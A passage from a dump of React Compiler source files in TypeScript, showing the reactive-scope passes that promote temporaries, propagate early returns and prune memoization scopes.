state.set(instruction.lvalue.identifier.id, [\n              instruction.lvalue.identifier,\n              false,\n            ]);\n          }\n        }\n        super.visitInstruction(instruction, state);\n        break;\n      }\n      case 'LoadGlobal': {\n        instruction.lvalue &&\n          this.#globals.add(instruction.lvalue.identifier.id);\n        super.visitInstruction(instruction, state);\n        break;\n      }\n      default: {\n        super.visitInstruction(instruction, state);\n      }\n    }\n  }\n}\n\nexport function promoteUsedTemporaries(fn: ReactiveFunction): void {\n  const state: State = {\n    tags: new Set(),\n    promoted: new Set(),\n    pruned: new Map(),\n  };\n  visitReactiveFunction(fn, new CollectPromotableTemporaries(), state);\n  for (const operand of fn.params) {\n    const place = operand.kind === 'Identifier' ? operand : operand.place;\n    if (place.identifier.name === null) {\n      promoteIdentifier(place.identifier, state);\n    }\n  }\n  visitReactiveFunction(fn, new PromoteTemporaries(), state);\n\n  visitReactiveFunction(\n    fn,\n    new PromoteInterposedTemporaries(state, fn.params),\n    new Map(),\n  );\n  visitReactiveFunction(\n    fn,\n    new PromoteAllInstancedOfPromotedTemporaries(),\n    state,\n  );\n}\n\nfunction promoteIdentifier(identifier: Identifier, state: State): void {\n  CompilerError.invariant(identifier.name === null, {\n    reason:\n      'promoteTemporary: Expected to be called only for temporary variables',\n    loc: GeneratedSource,\n  });\n  if (state.tags.has(identifier.declarationId)) {\n    promoteTemporaryJsxTag(identifier);\n  } else {\n    promoteTemporary(identifier);\n  }\n  state.promoted.add(identifier.declarationId);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PropagateEarlyReturns.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {visitReactiveFunction} from '.';\nimport {Effect} from '..';\nimport {\n  Environment,\n  GeneratedSource,\n  InstructionKind,\n  ReactiveFunction,\n  ReactiveScope,\n  ReactiveScopeBlock,\n  ReactiveStatement,\n  ReactiveTerminalStatement,\n  makeInstructionId,\n  makePropertyLiteral,\n  promoteTemporary,\n} from '../HIR';\nimport {createTemporaryPlace} from '../HIR/HIRBuilder';\nimport {EARLY_RETURN_SENTINEL} from './CodegenReactiveFunction';\nimport {ReactiveFunctionTransform, Transformed} from './visitors';\n\n/**\n * This pass ensures that reactive blocks honor the control flow behavior of the\n * original code including early return semantics. Specifically, if a reactive\n * scope early returned during the previous execution and the inputs to that block\n * have not changed, then the code should early return (with the same value) again.\n *\n * Example:\n *\n * ```javascript\n * let x = [];\n * if (props.cond) {\n *   x.push(12);\n *   return x;\n * } else {\n *   return foo();\n * }\n * ```\n *\n * Imagine that this code is called twice in a row with props.cond = true. Both\n * times it should return the same object (===), an array `[12]`.\n *\n * The compilation strategy is as follows. For each top-level reactive scope\n * that contains (transitively) an early return:\n *\n * - Label the scope\n * - Synthesize a new temporary, eg `t0`, and set it as a declaration of the scope.\n *   This will represent the possibly-unset return value for that scope.\n * - Make the first instruction of the scope the declaration of that temporary,\n *   assigning a sentinel value (can reuse the same symbol as we use for cache slots).\n *   This assignment ensures that if we don't take an early return, that the value\n *   is the sentinel.\n * - Replace all `return` statements with:\n *   - An assignment of the temporary with the value being returned.\n *   - A `break` to the reactive scope's label.\n *\n * Finally, CodegenReactiveScope adds an if check following the reactive scope:\n * if the early return temporary value is *not* the sentinel value, we early return\n * it. Otherwise, execution continues.\n *\n * For the above example that looks roughly like:\n *\n * ```\n * let t0;\n * if (props.cond !== $[0]) {\n *   t0 = Symbol.for('react.memo_cache_sentinel');\n *   bb0: {\n *     let x = [];\n *     if (props.cond) {\n *       x.push(12);\n *       t0 = x;\n *       break bb0;\n *     } else {\n *       let t1;\n *       if ($[1] === Symbol.for('react.memo_cache_sentinel')) {\n *         t1 = foo();\n *         $[1] = t1;\n *       } else {\n *         t1 = $[1];\n *       }\n *       t0 = t1;\n *       break bb0;\n *     }\n *   }\n *   $[0] = props.cond;\n *   $[2] = t0;\n * } else {\n *   t0 = $[2];\n * }\n * // This part added in CodegenReactiveScope:\n * if (t0 !== Symbol.for('react.memo_cache_sentinel')) {\n *   return t0;\n * }\n * ```\n */\nexport function propagateEarlyReturns(fn: ReactiveFunction): void {\n  visitReactiveFunction(fn, new Transform(fn.env), {\n    withinReactiveScope: false,\n    earlyReturnValue: null,\n  });\n}\n\ntype State = {\n  /**\n   * Are we within a reactive scope? We use this for two things:\n   * - When we find an early return, transform it to an assign+break\n   *   only if we're in a reactive scope\n   * - Annotate reactive scopes that contain early returns...but only\n   *   the outermost reactive scope, we can't do this for nested\n   *   scopes.\n   */\n  withinReactiveScope: boolean;\n\n  /**\n   * Store early return information to bubble it back up to the outermost\n   * reactive scope\n   */\n  earlyReturnValue: ReactiveScope['earlyReturnValue'];\n};\n\nclass Transform extends ReactiveFunctionTransform<State> {\n  env: Environment;\n  constructor(env: Environment) {\n    super();\n    this.env = env;\n  }\n\n  override visitScope(\n    scopeBlock: ReactiveScopeBlock,\n    parentState: State,\n  ): void {\n    /**\n     * Exit early if an earlier pass has already created an early return,\n     * which may happen in alternate compiler configurations.\n     */\n    if (scopeBlock.scope.earlyReturnValue !== null) {\n      return;\n    }\n\n    const innerState: State = {\n      withinReactiveScope: true,\n      earlyReturnValue: parentState.earlyReturnValue,\n    };\n    this.traverseScope(scopeBlock, innerState);\n\n    const earlyReturnValue = innerState.earlyReturnValue;\n    if (earlyReturnValue !== null) {\n      if (!parentState.withinReactiveScope) {\n        // This is the outermost scope wrapping an early return, store the early return information\n        scopeBlock.scope.earlyReturnValue = earlyReturnValue;\n        scopeBlock.scope.declarations.set(earlyReturnValue.value.id, {\n          identifier: earlyReturnValue.value,\n          scope: scopeBlock.scope,\n        });\n\n        const instructions = scopeBlock.instructions;\n        const loc = earlyReturnValue.loc;\n        const sentinelTemp = createTemporaryPlace(this.env, loc);\n        const symbolTemp = createTemporaryPlace(this.env, loc);\n        const forTemp = createTemporaryPlace(this.env, loc);\n        const argTemp = createTemporaryPlace(this.env, loc);\n        scopeBlock.instructions = [\n          {\n            kind: 'instruction',\n            instruction: {\n              id: makeInstructionId(0),\n              loc,\n              lvalue: {...symbolTemp},\n              value: {\n                kind: 'LoadGlobal',\n                binding: {\n                  kind: 'Global',\n                  name: 'Symbol',\n                },\n                loc,\n              },\n            },\n          },\n          {\n            kind: 'instruction',\n            instruction: {\n              id: makeInstructionId(0),\n              loc,\n              lvalue: {...forTemp},\n              value: {\n                kind: 'PropertyLoad',\n                object: {...symbolTemp},\n                property: makePropertyLiteral('for'),\n                loc,\n              },\n            },\n          },\n          {\n            kind: 'instruction',\n            instruction: {\n              id: makeInstructionId(0),\n              loc,\n              lvalue: {...argTemp},\n              value: {\n                kind: 'Primitive',\n                value: EARLY_RETURN_SENTINEL,\n                loc,\n              },\n            },\n          },\n          {\n            kind: 'instruction',\n            instruction: {\n              id: makeInstructionId(0),\n              loc,\n              lvalue: {...sentinelTemp},\n              value: {\n                kind: 'MethodCall',\n                receiver: symbolTemp,\n                property: forTemp,\n                args: [argTemp],\n                loc,\n              },\n            },\n          },\n          {\n            kind: 'instruction',\n            instruction: {\n              id: makeInstructionId(0),\n              loc,\n              lvalue: null,\n              value: {\n                kind: 'StoreLocal',\n                loc,\n                type: null,\n                lvalue: {\n                  kind: InstructionKind.Let,\n                  place: {\n                    kind: 'Identifier',\n                    effect: Effect.ConditionallyMutate,\n                    loc,\n                    reactive: true,\n                    identifier: earlyReturnValue.value,\n                  },\n                },\n                value: {...sentinelTemp},\n              },\n            },\n          },\n          {\n            kind: 'terminal',\n            label: {\n              id: earlyReturnValue.label,\n              implicit: false,\n            },\n            terminal: {\n              kind: 'label',\n              id: makeInstructionId(0),\n              loc: GeneratedSource,\n              block: instructions,\n            },\n          },\n        ];\n      } else {\n        /*\n         * Not the outermost scope, but we save the early return information in case there are other\n         * early returns within the same outermost scope\n         */\n        parentState.earlyReturnValue = earlyReturnValue;\n      }\n    }\n  }\n\n  override transformTerminal(\n    stmt: ReactiveTerminalStatement,\n    state: State,\n  ): Transformed<ReactiveStatement> {\n    if (state.withinReactiveScope && stmt.terminal.kind === 'return') {\n      const loc = stmt.terminal.value.loc;\n      let earlyReturnValue: ReactiveScope['earlyReturnValue'];\n      if (state.earlyReturnValue !== null) {\n        earlyReturnValue = state.earlyReturnValue;\n      } else {\n        const identifier = createTemporaryPlace(this.env, loc).identifier;\n        promoteTemporary(identifier);\n        earlyReturnValue = {\n          label: this.env.nextBlockId,\n          loc,\n          value: identifier,\n        };\n      }\n      state.earlyReturnValue = earlyReturnValue;\n      return {\n        kind: 'replace-many',\n        value: [\n          {\n            kind: 'instruction',\n            instruction: {\n              id: makeInstructionId(0),\n              loc,\n              lvalue: null,\n              value: {\n                kind: 'StoreLocal',\n                loc,\n                type: null,\n                lvalue: {\n                  kind: InstructionKind.Reassign,\n                  place: {\n                    kind: 'Identifier',\n                    identifier: earlyReturnValue.value,\n                    effect: Effect.Capture,\n                    loc,\n                    reactive: true,\n                  },\n                },\n                value: stmt.terminal.value,\n              },\n            },\n          },\n          {\n            kind: 'terminal',\n            label: null,\n            terminal: {\n              kind: 'break',\n              id: makeInstructionId(0),\n              loc,\n              targetKind: 'labeled',\n              target: earlyReturnValue.label,\n            },\n          },\n        ],\n      };\n    }\n    this.traverseTerminal(stmt, state);\n    return {kind: 'keep'};\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneAllReactiveScopes.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  ReactiveFunction,\n  ReactiveScopeBlock,\n  ReactiveStatement,\n} from '../HIR/HIR';\nimport {\n  ReactiveFunctionTransform,\n  Transformed,\n  visitReactiveFunction,\n} from './visitors';\n\n/*\n * Removes *all* reactive scopes. Intended for experimentation only, to allow\n * accurately removing memoization using the compiler pipeline to get a baseline\n * for performance of a product without memoization applied.\n */\nexport function pruneAllReactiveScopes(fn: ReactiveFunction): void {\n  visitReactiveFunction(fn, new Transform(), undefined);\n}\n\nclass Transform extends ReactiveFunctionTransform<void> {\n  override transformScope(\n    scopeBlock: ReactiveScopeBlock,\n    state: void,\n  ): Transformed<ReactiveStatement> {\n    this.visitScope(scopeBlock, state);\n    return {kind: 'replace-many', value: scopeBlock.instructions};\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneAlwaysInvalidatingScopes.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {ReactiveFunctionTransform, Transformed, visitReactiveFunction} from '.';\nimport {\n  Identifier,\n  ReactiveFunction,\n  ReactiveInstruction,\n  ReactiveScopeBlock,\n  ReactiveStatement,\n} from '../HIR';\n\n/**\n * Some instructions will *always* produce a new value, and unless memoized will *always*\n * invalidate downstream reactive scopes. This pass finds such values and prunes downstream\n * memoization.\n *\n * NOTE: function calls are an edge-case: function calls *may* return primitives, so this\n * pass optimistically assumes they do. Therefore, unmemoized function calls will *not*\n * prune downstream memoization. Only guaranteed new allocations, such as object and array\n * literals, will cause pruning.\n */\nexport function pruneAlwaysInvalidatingScopes(fn: ReactiveFunction): void {\n  visitReactiveFunction(fn, new Transform(), false);\n}\n\nclass Transform extends ReactiveFunctionTransform<boolean> {\n  alwaysInvalidatingValues: Set<Identifier> = new Set();\n  unmemoizedValues: Set<Identifier> = new Set();\n\n  override transformInstruction(\n    instruction: ReactiveInstruction,\n    withinScope: boolean,\n  ): Transformed<ReactiveStatement> {\n    this.visitInstruction(instruction, withinScope);\n\n    const {lvalue, value} = instruction;\n    switch (value.kind) {\n      case 'ArrayExpression':\n      case 'ObjectExpression':\n      case 'JsxExpression':\n      case 'JsxFragment':\n      case 'NewExpression': {\n        if (lvalue !== null) {\n          this.alwaysInvalidatingValues.add(lvalue.identifier);\n          if (!withinScope) {\n            this.unmemoizedValues.add(lvalue.identifier);\n          }\n        }\n        break;\n      }\n      case 'StoreLocal': {\n        if (this.alwaysInvalidatingValues.has(value.value.identifier)) {\n          this.alwaysInvalidatingValues.add(value.lvalue.place.identifier);\n        }\n        if (this.unmemoizedValues.has(value.value.identifier)) {\n          this.unmemoizedValues.add(value.lvalue.place.identifier);\n        }\n        break;\n      }\n      case 'LoadLocal': {\n        if (\n          lvalue !== null &&\n          this.alwaysInvalidatingValues.has(value.place.identifier)\n        ) {\n          this.alwaysInvalidatingValues.add(lvalue.identifier);\n        }\n        if (\n          lvalue !== null &&\n          this.unmemoizedValues.has(value.place.identifier)\n        ) {\n          this.unmemoizedValues.add(lvalue.identifier);\n        }\n        break;\n      }\n    }\n    return {kind: 'keep'};\n  }\n\n  override transformScope(\n    scopeBlock: ReactiveScopeBlock,\n    _withinScope: boolean,\n  ): Transformed<ReactiveStatement> {\n    this.visitScope(scopeBlock, true);\n\n    for (const dep of scopeBlock.scope.dependencies) {\n      if (this.unmemoizedValues.has(dep.identifier)) {\n        /*\n         * This scope depends on an always-invalidating value so the scope will always invalidate:\n         * prune it to avoid wasted comparisons\n         */\n        for (const [_, decl] of scopeBlock.scope.declarations) {\n          if (this.alwaysInvalidatingValues.has(decl.identifier)) {\n            this.unmemoizedValues.add(decl.identifier);\n          }\n        }\n        for (const identifier of scopeBlock.scope.reassignments) {\n          if (this.alwaysInvalidatingValues.has(identifier)) {\n            this.unmemoizedValues.add(identifier);\n          }\n        }\n        return {\n          kind: 'replace',\n          value: {\n            kind: 'pruned-scope',\n            scope: scopeBlock.scope,\n            instructions: scopeBlock.instructions,\n          },\n        };\n      }\n    }\n    return {kind: 'keep'};\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneHoistedContexts.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '..';\nimport {\n  convertHoistedLValueKind,\n  IdentifierId,\n  InstructionId,\n  InstructionKind,\n  Place,\n  ReactiveFunction,\n  ReactiveInstruction,\n  ReactiveScopeBlock,\n  ReactiveStatement,\n} from '../HIR';\nimport {empty, Stack} from '../Utils/Stack';\nimport {\n  ReactiveFunctionTransform,\n  Transformed,\n  visitReactiveFunction,\n} from './visitors';\n\n/*\n * Prunes DeclareContexts lowered for HoistedConsts, and transforms any references back to its\n * original instruction kind.\n *\n * Also detects and bails out on context variables which are:\n * - function declarations, which are hoisted by JS engines to the nearest block scope\n * - referenced before they are defined (i.e. having a `DeclareContext HoistedConst`)\n * - declared\n *\n * This is because React Compiler converts a `function foo()` function declaration to\n * 1. a `let foo;` declaration before reactive memo blocks\n * 2. a `foo = function foo() {}` assignment within the block\n *\n * This means references before the assignment are invalid (see fixture\n * error.todo-functiondecl-hoisting)\n */\nexport function pruneHoistedContexts(fn: ReactiveFunction): void {\n  visitReactiveFunction(fn, new Visitor(), {\n    activeScopes: empty(),\n    uninitialized: new Map(),\n  });\n}\n\ntype VisitorState = {\n  activeScopes: Stack<Set<IdentifierId>>;\n  uninitialized: Map<\n    IdentifierId,\n    | {\n        kind: 'unknown-kind';\n      }\n    | {\n        kind: 'func';\n        definition: Place | null;\n      }\n  >;\n};\n\nclass Visitor extends ReactiveFunctionTransform<VisitorState> {\n  override visitScope(scope: ReactiveScopeBlock, state: VisitorState): void {\n    state.activeScopes = state.activeScopes.push(\n      new Set(scope.scope.declarations.keys()),\n    );\n    /**\n     * Add declared but not initialized / assigned variables. This may include\n     * function declarations that escape the memo block.\n     */\n    for (const decl of scope.scope.declarations.values()) {\n      state.uninitialized.set(decl.identifier.id, {kind: 'unknown-kind'});\n    }\n    this.traverseScope(scope, state);\n    state.activeScopes.pop();\n    for (const decl of scope.scope.declarations.values()) {\n      state.uninitialized.delete(decl.identifier.id);\n    }\n  }\n  override visitPlace(\n    _id: InstructionId,\n    place: Place,\n    state: VisitorState,\n  ): void {\n    const maybeHoistedFn = state.uninitialized.get(place.identifier.id);\n    if (\n      maybeHoistedFn?.kind === 'func' &&\n      maybeHoistedFn.definition !== place\n    ) {\n      CompilerError.throwTodo({\n        reason: '[PruneHoistedContexts] Rewrite hoisted function references',\n        loc: place.loc,\n      });\n    }\n  }\n  override transformInstruction(\n    instruction: ReactiveInstruction,\n    state: VisitorState,\n  ): Transformed<ReactiveStatement> {\n    /**\n     * Remove hoisted declarations to preserve TDZ\n     */\n    if (instruction.value.kind === 'DeclareContext') {\n      const maybeNonHoisted = convertHoistedLValueKind(\n        instruction.value.lvalue.kind,\n      );\n      if (maybeNonHoisted != null) {\n        if (\n          maybeNonHoisted === InstructionKind.Function &&\n          state.uninitialized.has(instruction.value.lvalue.place.identifier.id)\n        ) {\n          state.uninitialized.set(\n            instruction.value.lvalue.place.identifier.id,\n            {\n              kind: 'func',\n              definition: null,\n            },\n          );\n        }\n        return {kind: 'remove'};\n      }\n    }\n    if (\n      instruction.value.kind === 'StoreContext' &&\n      instruction.value.lvalue.kind !== InstructionKind.Reassign\n    ) {\n      /**\n       * Rewrite StoreContexts let/const that will be pre-declared in\n       * codegen to reassignments.\n       */\n      const lvalueId = instruction.value.lvalue.place.identifier.id;\n      const isDeclaredByScope = state.activeScopes.find(scope =>\n        scope.has(lvalueId),\n      );\n      if (isDeclaredByScope) {\n        if (\n          instruction.value.lvalue.kind === InstructionKind.Let ||\n          instruction.value.lvalue.kind === InstructionKind.Const\n        ) {\n          instruction.value.lvalue.kind = InstructionKind.Reassign;\n        } else if (instruction.value.lvalue.kind === InstructionKind.Function) {\n          const maybeHoistedFn = state.uninitialized.get(lvalueId);\n          if (maybeHoistedFn != null) {\n            CompilerError.invariant(maybeHoistedFn.kind === 'func', {\n              reason: '[PruneHoistedContexts] Unexpected hoisted function',\n              loc: instruction.loc,\n            });\n            maybeHoistedFn.definition = instruction.value.lvalue.place;\n            /**\n             * References to hoisted functions are now \"safe\" as variable assignments\n             * have finished.\n             */\n            state.uninitialized.delete(lvalueId);\n          }\n        } else {\n          CompilerError.throwTodo({\n            reason: '[PruneHoistedContexts] Unexpected kind',\n            description: `(${instruction.value.lvalue.kind})`,\n            loc: instruction.loc,\n          });\n        }\n      }\n    }\n\n    this.visitInstruction(instruction, state);\n    return {kind: 'keep'};\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneNonEscapingScopes.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {\n  DeclarationId,\n  Environment,\n  GeneratedSource,\n  Identifier,\n  InstructionId,\n  Pattern,\n  Place,\n  ReactiveFunction,\n  ReactiveInstruction,\n  ReactiveScopeBlock,\n  ReactiveStatement,\n  ReactiveTerminal,\n  ReactiveTerminalStatement,\n  ReactiveValue,\n  ScopeId,\n  getHookKind,\n  isMutableEffect,\n} from '../HIR';\nimport {assertExhaustive, getOrInsertDefault} from '../Utils/utils';\nimport {getPlaceScope, ReactiveScope} from '../HIR/HIR';\nimport {\n  ReactiveFunctionTransform,\n  ReactiveFunctionVisitor,\n  Transformed,\n  eachReactiveValueOperand,\n  visitReactiveFunction,\n} from './visitors';\nimport {printPlace} from '../HIR/PrintHIR';\nimport {getFunctionCallSignature} from '../Inference/InferMutationAliasingEffects';\n\n/*\n * This pass prunes reactive scopes that are not necessary to bound downstream computation.\n * Specifically, the pass identifies the set of identifiers which may \"escape\". Values can\n * escape in one of two ways:\n * * They are directly returned by the function and/or transitively aliased by a return\n *    value.\n * * They are passed as input to a hook. This is because any value passed to a hook may\n *    have its referenced ultimately stored by React (ie, be aliased by an external value).\n *    For example, the closure passed to useEffect escapes.\n *\n * Example to build intuition:\n *\n * ```javascript\n * function Component(props) {\n *    const a = {}; // not aliased or returned: *not* memoized\n *    const b = {}; // aliased by c, which is returned: memoized\n *    const c = [b]; // directly returned: memoized\n *    return c;\n * }\n * ```\n *\n * However, this logic alone is insufficient for two reasons:\n * - Statically memoizing JSX elements *may* be inefficient compared to using dynamic\n *    memoization with `React.memo()`. Static memoization may be JIT'd and can look at\n *    the precise props w/o dynamic iteration, but incurs potentially large code-size\n *    overhead. Dynamic memoization with `React.memo()` incurs potentially increased\n *    runtime overhead for smaller code size. We plan to experiment with both variants\n *    for JSX.\n * - Because we merge values whose mutations _interleave_ into a single scope, there\n *    can be cases where a non-escaping value needs to be memoized anyway to avoid breaking\n *    a memoization input. As a rule, for any scope that has a memoized output, all of that\n *    scope's transitive dependencies must also be memoized _even if they don't escape_.\n *    Failing to memoize them would cause the scope to invalidate more often than necessary\n *    and break downstream memoization.\n *\n * Example of this second case:\n *\n * ```javascript\n * function Component(props) {\n *    // a can be independently memoized but it doesn't escape, so naively we may think its\n *    // safe to not memoize. but not memoizing would break caching of b, which does\n *    // escape.\n *    const a = [props.a];\n *\n *    // b and c are interleaved and grouped into a single scope,\n *    // but they are independent values. c does not escape, but\n *    // we need to ensure that a is memoized or else b will invalidate\n *    // on every render since a is a dependency.\n *    const b = [];\n *    const c = {};\n *    c.a = a;\n *    b.push(props.b);\n *\n *    return b;\n * }\n * ```\n *\n * ## Algorithm\n *\n * 1. First we build up a graph, a mapping of IdentifierId to a node describing all the\n *     scopes and inputs involved in creating that identifier. Individual nodes are marked\n *     as definitely aliased, conditionally aliased, or unaliased:\n *       a. Arrays, objects, function calls all produce a new value and are always marked as aliased\n *       b. Conditional and logical expressions (and a few others) are conditinally aliased,\n *          depending on whether their result value is aliased.\n *       c. JSX is always unaliased (though its props children may be)\n * 2. The same pass which builds the graph also stores the set of returned identifiers and set of\n *     identifiers passed as arguments to hooks.\n * 3. We traverse the graph starting from the returned identifiers and mark reachable dependencies\n *     as escaping, based on the combination of the parent node's type and its children (eg a\n *     conditional node with an aliased dep promotes to aliased).\n * 4. Finally we prune scopes whose outputs weren't marked.\n */\nexport function pruneNonEscapingScopes(fn: ReactiveFunction): void {\n  /*\n   * First build up a map of which instructions are involved in creating which values,\n   * and which values are returned.\n   */\n  const state = new State(fn.env);\n  for (const param of fn.params) {\n    if (param.kind === 'Identifier') {\n      state.declare(param.identifier.declarationId);\n    } else {\n      state.declare(param.place.identifier.declarationId);\n    }\n  }\n  visitReactiveFunction(fn, new CollectDependenciesVisitor(fn.env, state), []);\n\n  /*\n   * Then walk outward from the returned values and find all captured operands.\n   * This forms the set of identifiers which should be memoized.\n   */\n  const memoized = computeMemoizedIdentifiers(state);\n\n  // Prune scopes that do not declare/reassign any escaping values\n  visitReactiveFunction(fn, new PruneScopesTransform(), memoized);\n}\n\nexport type MemoizationOptions = {\n  memoizeJsxElements: boolean;\n  forceMemoizePrimitives: boolean;\n};\n\n// Describes how to determine whether a value should be memoized, relative to dependees and dependencies\nenum MemoizationLevel {\n  // The value should be memoized if it escapes\n  Memoized = 'Memoized',\n  /*\n   * Values that are memoized if their dependencies are memoized (used for logical/ternary and\n   * other expressions that propagate dependencies wo changing them)\n   */\n  Conditional = 'Conditional',\n  /*\n   * Values that cannot be compared with Object.is, but which by default don't need to be memoized\n   * unless forced\n   */\n  Unmemoized = 'Unmemoized',\n  // The value will never be memoized: used for values that can be cheaply compared w Object.is\n  Never = 'Never',\n}\n\n/*\n * Given an identifier that appears as an lvalue multiple times with different memoization levels,\n * determines the final memoization level.\n */\nfunction joinAliases(\n  kind1: MemoizationLevel,\n  kind2: MemoizationLevel,\n): MemoizationLevel {\n  if (\n    kind1 === MemoizationLevel.Memoized ||\n    kind2 === MemoizationLevel.Memoized\n  ) {\n    return MemoizationLevel.Memoized;\n  } else if (\n    kind1 === MemoizationLevel.Conditional ||\n    kind2 === MemoizationLevel.Conditional\n  ) {\n    return MemoizationLevel.Conditional;\n  } else if (\n    kind1 === MemoizationLevel.Unmemoized ||\n    kind2 === MemoizationLevel.Unmemoized\n  ) {\n    return MemoizationLevel.Unmemoized;\n  } else {\n    return MemoizationLevel.Never;\n  }\n}\n\n// A node in the graph describing the memoization level of a given identifier as well as its dependencies and scopes.\ntype IdentifierNode = {\n  level: MemoizationLevel;\n  memoized: boolean;\n  dependencies: Set<DeclarationId>;\n  scopes: Set<ScopeId>;\n  seen: boolean;\n};\n\n// A scope node describing its dependencies\ntype ScopeNode = {\n  dependencies: Array<DeclarationId>;\n  seen: boolean;\n};\n\n// Stores the identifier and scope graphs, set of returned identifiers, etc\nclass State {\n  env: Environment;\n  /*\n   * Maps lvalues for LoadLocal to the identifier being loaded, to resolve indirections\n   * in subsequent lvalues/rvalues.\n   *\n   * NOTE: this pass uses DeclarationId rather than IdentifierId because the pass is not\n   * aware of control-flow, only data flow via mutation. Instead of precisely modeling\n   * control flow, we analyze all values that may flow into a particular program variable,\n   * and then whether that program variable may escape (if so, the values flowing in may\n   * escape too). Thus we use DeclarationId to captures all values that may flow into\n   * a particular program variable, regardless of control flow paths.\n   *\n   * In the future when we convert to HIR everywhere this pass can account for control\n   * flow and use SSA ids.\n   */\n  definitions: Map<DeclarationId, DeclarationId> = new Map();\n\n  identifiers: Map<DeclarationId, IdentifierNode> = new Map();\n  scopes: Map<ScopeId, ScopeNode> = new Map();\n  escapingValues: Set<DeclarationId> = new Set();\n\n  constructor(env: Environment) {\n    this.env = env;\n  }\n\n  // Declare a new identifier, used for function id and params\n  declare(id: DeclarationId): void {\n    this.identifiers.set(id, {\n      level: MemoizationLevel.Never,\n      memoized: false,\n      dependencies: new Set(),\n      scopes: new Set(),\n      seen: false,\n    });\n  }\n\n  /*\n   * Associates the identifier with its scope, if there is one and it is active for the given instruction id:\n   * - Records the scope and its dependencies\n   * - Associates the identifier with this scope\n   */\n  visitOperand(\n    id: InstructionId,\n    place: Place,\n    identifier: DeclarationId,\n  ): void {\n    const scope = getPlaceScope(id, place);\n    if (scope !== null) {\n      let node = this.scopes.get(scope.id);\n      if (node === undefined) {\n        node = {\n          dependencies: [...scope.dependencies].map(\n            dep => dep.identifier.declarationId,\n          ),\n          seen: false,\n        };\n        this.scopes.set(scope.id, node);\n      }\n      const identifierNode = this.identifiers.get(identifier);\n      CompilerError.invariant(identifierNode !== undefined, {\n        reason: 'Expected identifier to be initialized',\n        description: `[${id}] operand=${printPlace(place)} for identifier declaration ${identifier}`,\n        loc: place.loc,\n      });\n      identifierNode.scopes.add(scope.id);\n    }\n  }\n}\n\n/*\n * Given a state derived from visiting the function, walks the graph from the returned nodes\n * to determine which other values should be memoized. Returns a set of all identifiers\n * that should be memoized.\n */\nfunction computeMemoizedIdentifiers(state: State): Set<DeclarationId> {\n  const memoized = new Set<DeclarationId>();\n\n  // Visit an identifier, optionally forcing it to be memoized\n  function visit(id: DeclarationId, forceMemoize: boolean = false): boolean {\n    const node = state.identifiers.get(id);\n    CompilerError.invariant(node !== undefined, {\n      reason: `Expected a node for all identifiers, none found for \\`${id}\\``,\n      loc: GeneratedSource,\n    });\n    if (node.seen) {\n      return node.memoized;\n    }\n    node.seen = true;\n\n    /*\n     * Note: in case of cycles we temporarily mark the identifier as non-memoized,\n     * this is reset later after processing dependencies\n     */\n    node.memoized = false;\n\n    // Visit dependencies, determine if any of them are memoized\n    let hasMemoizedDependency = false;\n    for (const dep of node.dependencies) {\n      const isDepMemoized = visit(dep);\n      hasMemoizedDependency ||= isDepMemoized;\n    }\n\n    if (\n      node.level === MemoizationLevel.Memoized ||\n      (node.level === MemoizationLevel.Conditional &&\n        (hasMemoizedDependency || forceMemoize)) ||\n      (node.level === MemoizationLevel.Unmemoized && forceMemoize)\n    ) {\n      node.memoized = true;\n      memoized.add(id);\n      for (const scope of node.scopes) {\n        forceMemoizeScopeDependencies(scope);\n      }\n    }\n    return node.memoized;\n  }\n\n  // Force all the scope's optionally-memoizeable dependencies (not \"Never\") to be memoized\n  function forceMemoizeScopeDependencies(id: ScopeId): void {\n    const node = state.scopes.get(id);\n    CompilerError.invariant(node !== undefined, {\n      reason: 'Expected a node for all scopes',\n      loc: GeneratedSource,\n    });\n    if (node.seen) {\n      return;\n    }\n    node.seen = true;\n\n    for (const dep of node.dependencies) {\n      visit(dep, true);\n    }\n    return;\n  }\n\n  // Walk from the \"roots\" aka returned identifiers.\n  for (const value of state.escapingValues) {\n    visit(value);\n  }\n\n  return memoized;\n}\n\ntype LValueMemoization = {\n  place: Place;\n  level: MemoizationLevel;\n};\n\nfunction computePatternLValues(pattern: Pattern): Array<LValueMemoization> {\n  const lvalues: Array<LValueMemoization> = [];\n  switch (pattern.kind) {\n    case 'ArrayPattern': {\n      for (const item of pattern.items) {\n        if (item.kind === 'Identifier') {\n          lvalues.push({place: item, level: MemoizationLevel.Conditional});\n        } else if (item.kind === 'Spread') {\n          lvalues.push({place: item.place, level: MemoizationLevel.Memoized});\n        }\n      }\n      break;\n    }\n    case 'ObjectPattern': {\n      for (const property of pattern.properties) {\n        if (property.kind === 'ObjectProperty') {\n          lvalues.push({\n            place: property.place,\n            level: MemoizationLevel.Conditional,\n          });\n        } else {\n          lvalues.push({\n            place: property.place,\n            level: MemoizationLevel.Memoized,\n          });\n        }\n      }\n      break;\n    }\n    default: {\n      assertExhaustive(\n        pattern,\n        `Unexpected pattern kind \\`${(pattern as any).kind}\\``,\n      );\n    }\n  }\n  return lvalues;\n}\n\n/*\n * Populates the input state with the set of returned identifiers and information about each\n * identifier's and scope's dependencies.\n */\nclass CollectDependenciesVisitor extends ReactiveFunctionVisitor<\n  Array<ReactiveScope>\n> {\n  env: Environment;\n  state: State;\n  options: 